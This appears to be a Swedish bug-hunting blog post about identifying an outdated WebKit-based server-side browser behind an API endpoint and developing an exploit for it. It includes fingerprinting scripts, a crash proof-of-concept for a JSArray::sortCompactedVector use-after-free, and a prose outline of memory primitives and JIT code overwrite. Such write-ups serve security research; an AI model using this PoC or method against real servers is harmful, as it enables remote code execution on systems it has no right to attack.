Skip to main content
  1. Blogposts/

Exploit archaeology - utgrävning av en okänd server-side browser ✏️

·678 words·4 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller två kan vara bra för hjärnan
Table of Contents

Det är lite som att vara en digital Indiana Jones. 🏺 Istället för att gräva efter forntida artefakter i dammiga tempel, letar jag efter sårbarheter i gammal mjukvara. Den här gången stötte jag på något riktigt intressant – en server-side browser från stenåldern av webben.

Upptäckten: En mystisk API-endpoint
#

Under en vanlig buggjakt stötte jag på en API-endpoint som kunde rendera användarskickad HTML och köra inbäddad JavaScript. Server-side browsers har varit ett av mina specialintressen de senaste åren, så detta var som att hitta en oöppnad skattkista. 💎

Server-side browsers används ofta för att rendera webbsidor på servern, till exempel för att generera PDF-rapporter eller ta skärmdumpar av webbsidor. Men de kan bli farliga om de inte är ordentligt säkrade.

Rekognosering: Vilken browser är det här?
#

Första steget var att identifiera vilken browser-motor och version som användes. Normalt är detta enkelt – man kollar bara på User-Agent-headern. Men här blev det lite knepigare.

Användaragenten såg ut så här:

Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) Safari/538.1

Inte särskilt hjälpsamt! Vanligtvis ser man tydliga versioner som Chrome/124.0.0.0 eller Firefox/125.0 här.

Fingerprinting med JavaScript
#

Eftersom jag kunde köra JavaScript kunde jag använda browserspecifika API:er för att identifiera motorn:

// Kolla för Chrome
if (typeof Error.captureStackTrace === 'function') {
    console.log("Chrome-baserad");
}

// Kolla för Firefox
if (typeof document.preferredStyleSheetSet === 'string') {
    console.log("Firefox-baserad");
}

// Kolla för WebKit/Safari
if (typeof webkitConvertPointFromPageToNode === 'function') {
    console.log("WebKit-baserad");
}

Det visade sig vara en WebKit-baserad motor. Min första gissning var PhantomJS, men mitt testexploit för CVE-2014-1303 fungerade inte.

Versionbestämning med feature detection
#

För att lista ut ungefärlig version använde jag caniuse.com för att jämföra vilka funktioner som fanns i olika Safari-versioner:

var version;
version = !version && typeof fetch == "function" ? "Safari WebKit 10.1" : version;
version = !version && typeof String.prototype.includes == "function" ? "Safari WebKit 9" : version;
version = !version && typeof document.currentScript == "object" ? "Safari WebKit 8" : version;
version = !version && typeof window.requestAnimationFrame == "function" ? "Safari WebKit 7" : version;

console.log(version); // Safari ~8, från ca 2014-2015

En browser från stenåldern alltså – nästan tio år gammal!

Forskning: Leta efter gamla sårbarheter
#

Med ungefärlig version och tidsram kunde jag börja gräva i gamla sårbarhetsrapporter och exploits. PlayStation-jailbreaks från samma tidsperiod visade sig vara en guldgruva.

Efter timmars research hittade jag en lovande exploit från hackern “xyz” som utnyttjade en Use-After-Free-sårbarhet i JSArray::sortCompactedVector.

Här är ett Proof-of-Concept-skript:

var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();

När jag testade detta mot målet kraschade det – ett lovande tecken!

Utveckling: Bygga ett fungerande exploit
#

För att underlätta utvecklingen kompilerade jag PhantomJS med debug-symboler (eftersom den också var sårbar för samma bugg):

docker run -ti --rm -v`pwd`:/working ubuntu:14.04 /bin/bash
apt-get update
apt-get install build-essential g++ flex bison gperf ruby perl \
 libsqlite3-dev libfontconfig1-dev libicu-dev libfreetype6 libssl-dev \
 libpng-dev libjpeg-dev python libx11-dev libxext-dev git

git clone https://github.com/ariya/phantomjs.git
cd phantomjs
git checkout 2.1.1
git submodule init
git submodule update
python build.py --qmake-args="QMAKE_CFLAGS=-g" --qmake-args="QMAKE_CXXFLAGS=-g"

Minneskorruption och primitiver
#

Exploitet kräver tre grundläggande primitiver:

  1. read - läsa från valfri minnesadress
  2. write - skriva till valfri minnesadress
  3. addrOf - få adressen till ett JavaScript-objekt

Genom att korrumpera en array kunde jag skapa dessa primitiver, trots Linux guard pages som skyddar vissa minnesområden.

Exploitation: Köra egen kod
#

Istället för den komplicerade ROP-kedjan jag ursprungligen planerat, upptäckte jag att JIT-kompilering lämnade minnesområden med rwx-behörighet (läs-, skriv- och körbehörighet). Genom att:

  1. Tvinga fram JIT-kompilering av en funktion
  2. Skriva över funktionskoden i minnet
  3. Köra den modifierade funktionen

…kunde jag köra godtycklig kod mycket enklare!

Slutsats: En bitter eftersmak
#

Efter allt detta arbete rapporterade jag sårbarheten till bug bounty-programmet… bara för att få veta att den låg i en tredjepartstjänst utan bountyprogram. Och de svarade aldrig på mina rapporter.

Så ibland går det inte som man hoppas i buggjaktens värld. Men kunskapen och erfarenheten är ovärderliga – och nästa gång kanske det blir den stora träffen!